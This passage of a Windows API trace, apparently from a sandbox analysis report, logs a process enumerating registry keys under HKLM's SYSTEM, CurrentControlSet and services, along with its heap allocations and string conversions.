lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0032.697] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.697] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.698] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.698] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.698] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1d92850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0032.698] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.698] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.698] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x13c) returned 0x0 [0032.698] RegCloseKey (hKey=0x80000002) returned 0x0 [0032.698] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1da4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.699] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1da4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.699] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1da4408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.699] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1da4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0032.699] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.699] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.700] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName="Select") returned 0x0 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.700] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5, lpName=0x1d92850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.700] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6, lpName=0x1d92850, cchName=0x104 | out: lpName="Software") returned 0x0 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.700] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.700] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7, lpName=0x1d92850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.700] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1da4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.701] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8, lpName=0x1d92850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1da4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.701] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x94) returned 0x0 [0032.701] RegCloseKey (hKey=0x13c) returned 0x0 [0032.701] RegEnumKeyW (in: hKey=0x94, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName="Control") returned 0x0 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.701] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.701] RegEnumKeyW (in: hKey=0x94, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.701] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.702] RegEnumKeyW (in: hKey=0x94, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1da4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.702] RegEnumKeyW (in: hKey=0x94, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.702] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.702] RegEnumKeyW (in: hKey=0x94, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName="services") returned 0x0 [0032.702] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.703] RegOpenKeyExW (in: hKey=0x94, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x13c) returned 0x0 [0032.703] RegCloseKey (hKey=0x94) returned 0x0 [0032.703] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1da4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.703] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1da4450, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.703] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.703] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0032.703] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0032.704] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, 